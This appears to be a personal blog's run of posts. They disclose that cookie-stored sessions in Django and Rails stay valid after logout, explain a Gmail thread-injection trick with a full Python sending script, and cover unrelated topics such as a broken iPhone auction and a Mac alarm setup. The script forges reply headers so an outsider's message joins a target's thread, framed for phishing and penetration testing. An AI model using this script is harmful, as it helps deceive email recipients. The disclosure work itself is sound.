While doing follow-on research about Rails’ CookieStore security I come across some interesting headers…
Thanks for making the mundane part more fun!
UPDATE: Django updated their documentation to include a warning about this risk: “Unlike other session backends which keep a server-side record of each session and invalidate it when a user logs out, cookie-based sessions are not invalidated when a user logs out. Thus if an attacker steals a user’s cookie, he can use that cookie to login as that user even if the user logs out.”
Django has a session invalidation security vulnerability like the Ruby on Rails vulnerability I wrote about here.
Django is a free and open source Web application framework that is written in Python. Django version 1.4 introduced cookie-based session storage and Django version 1.7 is currently under development.
Django provides options for how and where user session data is stored. One of those options is cookie-based storage, which stores all session data in the cookie and signs it.
Without access to the app’s code, detecting which session storage mechanism is in use is slightly harder than with the similar Rails vulnerability. With Django, the default name for a session cookie is “sessionid” regardless of whether the cookie stores only a session identifier or the complete session data hash. So, you’ll need to examine the value of the cookie to determine which session storage mechanism may be in use for a given application.
When using Django cookie-based session storage in your Web app, if someone were to find, steal, or intercept a user’s cookie they could log into your website as that user even if that user had logged out.
The main difference from the Rails session security vulnerability is that Django does not use cookie-based sessions by default.
I found most developers are completely shocked to learn about this kind of behavior. I believe this is a risk that was written off without adequate documentation or warning.
Happy hacking! Email me with questions: Main@GSMcNamara.com
UPDATE: This issue has received press coverage and made it into the Open Sourced Vulnerability Database (OSVDB) available at http://osvdb.org/show/osvdb/97726. I will follow up on this post with more technical details as well as my research results from studying this issue in the wild.
Ruby on Rails Web applications versions 2.0 through 4.0 are by default vulnerable to an oft-overlooked Web application security issue: Session cookies are valid for life.* The fix is to configure your Rails app to store most session information on the server side in the database.
The default Rails session storage mechanism is the CookieStore, which holds the entire user session hash on the client side in the Web browser as a cookie. In this configuration there is no entry in a “sessions” database table for your Rails app to delete upon logout.
My concern is more than just current session hijacking via Firesheep or similar; a malicious user could use the stolen cookie from any authenticated request by the user to log in as them at any point in the future.
When a user logs out what happens is not what you would expect. Again, no entry in a “sessions” table exists to delete. Instead, Rails will issue a new, empty-ish cookie to the user’s browser in order to overwrite the one granted when the user originally authenticated, and instruct the Web browser to use this newest one from this point forth. This relies on good browser behavior. But remember, the previous cookie is still valid. There is no way to invalidate these old cookies upon sign out with the default Rails configuration. In addition to network snooping (session sidejacking) and XSS, this presents a problem for users accessing your site via a shared or public computer, or perhaps over a faulty network connection that might drop the very last HTTP response requesting that the user’s browser overwrite the stored authenticated cookie. Also, when your users forget to logout, they will not be able to log themselves out of that living session from a different computer, and anyone who discovers the stored cookie can use it indefinitely.
The default cookie name is:
And before Base64 encoding and URL encoding, the cookie value may look something like this with actual values for “[String]”:
While Rails 4 switched to encrypting the value of the cookie, doing so does not eliminate this issue.
Separately, it is a good design for your Web app to require that the user supply their current password before changing sensitive fields such as password or email address. If the CookieStore-stored session were to be hijacked, the malicious user could change the user’s password: 1) immediately invalidating the legitimate user’s cookie and thus slamming your app’s doors in their face and 2) disallowing the legitimate user the ability to log back into their account.
A note about a red herring: if you use the Authlogic gem you may notice a field called “persistence_token” in your users table and believe that you are already using server-side storage for most of your session data. In my testing of the default CookieStore configuration, the field did not appear to serve a purpose.
Switch to ActiveRecordStore or something else from this list. Switching away from CookieStore is said to be slower. After switching, the cookie will contain a value for “session_id” which corresponds to an entry in your database’s sessions table. You will need to keep in mind replicating session data across multiple databases if you have more than one active behind a load balancer.
Happy hacking! Email me with questions: Main@GSMcNamara.com
*In my testing, the only methods to invalidate these cookies are for the user to change their password or for systems administrators to change the application secret. Both are infrequent occurrences.
@GSMcNamara caught a link off twitter a day before it hit F-D, crazy vuln and a good find
— OSVDB (@OSVDB) September 27, 2013
— Threatpost (@threatpost) September 25, 2013
— WhiteHat Security (@whitehatsec) September 27, 2013
Protip: Take a summer course before your first full fall semester. Get an A+, giving you a great cumulative GPA and then reap the Dean’s List benefits in your first full semester while your college life is easiest and your peers are still establishing themselves.
You probably trust that emails within a thread belong together, right?
Injecting yourself into Gmail threads is like rudely butting into a conversation at a cocktail party. Here we’ll go over how, with two pieces of data, you can inject yourself into the existing email thread of a target person. While not earth-shattering information, this technique can perhaps be leveraged for social engineering, during a penetration test, or while on a phishing expedition.
You need to know the subject line and Message-ID of an email in the thread that you want to inject yourself into. Armed with these two, you can join in the threaded conversation from the outside, and a rushed or unobservant office worker may not notice that you do not belong in that conversation. The subject line is what you’re accustomed to setting when you write in a subject for an email. As it turns out, you are even able to get away with similar subject lines in Gmail: “test” and “Re: test” will both work in this case. Apparently there is some leeway here and other variants work as well. The Message-ID is a globally unique identifier of the digital message, is part of the email header, is typically not viewable to the user, and is automatically generated for the domain where the email was generated. For Gmail, that would be within the “mail.gmail.com” domain.
Obtain (by whatever your means) the Message-ID of an existing message in the target thread, and place it into both the “In-Reply-To” and “References” fields of the email header of an email that you will craft specially. For more information about the purpose of these two fields, read the full RFC here: http://tools.ietf.org/html/rfc2822.
Now, I do not believe that you can edit email headers through Gmail’s Web interface or through a client such as Thunderbird, but here is a Python script that you can use to send email through a Gmail account you control to your target. This script has been configured for Gmail but can be modified to use other SMTP servers if you wish.
import os import smtplib import mimetypes from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase from email.MIMEText import MIMEText from email.MIMEAudio import MIMEAudio from email.MIMEImage import MIMEImage from email.Encoders import encode_base64 def sendMail(yourEmail, yourPassword, subjectLine, bodyText, targetEmail, messageID, *attachmentFilePaths): gmailUser = yourEmail gmailPassword = yourPassword recipient = targetEmail msg = MIMEMultipart() msg['From'] = gmailUser msg['To'] = recipient msg['Subject'] = subjectLine msg['In-Reply-To'] = messageID msg['References'] = messageID msg.attach(MIMEText(bodyText)) for attachmentFilePath in attachmentFilePaths: msg.attach(getAttachment(attachmentFilePath)) mailServer = smtplib.SMTP('smtp.gmail.com', 587) mailServer.ehlo() mailServer.starttls() mailServer.ehlo() mailServer.login(gmailUser, gmailPassword) mailServer.sendmail(gmailUser, recipient, msg.as_string()) mailServer.close() print('Sent email to %s' % recipient) def getAttachment(attachmentFilePath): contentType, encoding = mimetypes.guess_type(attachmentFilePath) if contentType is None or encoding is not None: contentType = 'application/octet-stream' mainType, subType = contentType.split('/', 1) file = open(attachmentFilePath, 'rb') if mainType == 'text': attachment = MIMEText(file.read()) elif mainType == 'message': attachment = email.message_from_file(file) elif mainType == 'image': attachment = MIMEImage(file.read(),_subType=subType) elif mainType == 'audio': attachment = MIMEAudio(file.read(),_subType=subType) else: attachment = MIMEBase(mainType, subType) attachment.set_payload(file.read()) encode_base64(attachment) file.close() attachment.add_header('Content-Disposition', 'attachment', filename=os.path.basename(attachmentFilePath)) return attachment if __name__ == "__main__": #Edit the following arguments with your values sendMail("yourEmail", "yourPassword", "test", "Hello, thread.", "targetEmail", "Message-ID")
The important take away from all this is that you can insert your email into a thread that you were not privy to in the first place, and you do not even have to send your message from an email address within the same domain as the recipient(s). Shout out to @baffles for pointing me to the correct parts of the RFC to focus on for this and for testing this out with me.
Caveats and things to note:
As far as eBay auctions go in the U.S., the first iPhone 5 with a cracked screen surfaced not even four full days after the phone was released to the market.
A seller from New Jersey wins the title for being the first to break an iPhone 5 and appears to be an individual–not a powerseller that got their hands on a shipment of broken phones.
4 days … that is skillful. Even more so: taking into account the possibility that the owner may not have even gotten the phone the instant it came out and that they probably did not list it for sale the second it got smashed, they may have owned it for even less than ~4 days.
It must have been a wild weekend, but for a final difference of $60 the damage to the wallet was less than it could have been.
I don’t do mornings. I really don’t. I’ll stay up until them, sure, but I do not want to wake up to them.
Using OS X Mountain Lion, here we go: for the impatient, just read the bold.
Edit: I realize that bold doesn’t show up well with my current configuration. I’ll work on that.
Protip: To reduce clutter in the Calendar app you can uncheck the box next to the Automator to hide it. The Alarm should still go off as scheduled (it did during my testing). Or use Google Calendar for all your events and meetings. Also, if your default web browser (USE CHROME!) is already running when your alarm goes off–which is the case for me because I always have an obsessive amount of tabs open even though I use Pocket–this script will simply spawn a new tab. If you already have Pandora running, I have no idea what will happen. Good luck brave soul.
After looking through other Automator actions it appears that you could also do this with an iTunes playlist (and a lot of other applications), but I haven’t tried anything out other than what is above out so you will have to DIY. There was also some talk on the ‘net about using Pandora’s desktop application (via Adobe Air) for this. If you used launchd instead, awesome. Tell us about it. Post your solution in the comments.
Note that the first step you created in the Automator Workflow controls the volume of your Mac. If you are using external speakers with their own volume control (like I am) then you will need to adjust those to your liking as well.
Site update: This is the first post in the Life Automation series that I hope to continue posting to. I had an awesome boss that was the master of automation and he got me hooked on attempting to automate everything in life.
Once you’re out of bed, get some Powerthirst.
Disclaimer: Just bought a Mac so this may not be the most optimal way to go about doing this.
While I was doing some SEO work late last night for an Inc.less (incless.com) client, I got a little curious–probably given the current political atmosphere. I decided to take a glance at Google search volume by specific region using Google Insights for Search on a controversial subject: abortion. Here are the states that really want to know “where to get an abortion.”
Now to be scientific about this, I’m not sure if this reflects an interest among people in Georga in locating clinics in order to use their services or to protest in front of them, but I still find it ironic.
… and the Dirty Little Secret song that popped into my head upon realizing this curiosity will not leave my brainspace.
As reported by TechCrunch, two artists have taken the thousands of terms from your average dictionary and defined them with
words pictures. In an automated manner they scraped the first image result from Google Images for a given term and created a physical book.
So what if the images are not the best representation of the term or if the images become obsolete the second the dictionary is printed? It’s simply beautiful and a great reflection of today’s Internet culture. I can’t wait to get my copy.
Facebook doesn’t go down …
As reported, Facebook is experiencing technical issues today. This is very usual. Twitter blew up with tweets about the issues.
Loading comments for the wrong pictures, messages being dropped, everything being unbearably slow are all the more obvious symptoms. As my friend put it, “Pages load like they did in 1994.”
But, I also noticed something more subtle:
Notice that the “link” referenced by Facebook as supposedly being shared by both Lifehacker and Kogeto? Yea, the links published by the two users are different.
I got trapped in an elevator leaving the office today. Not a great day for technology all around.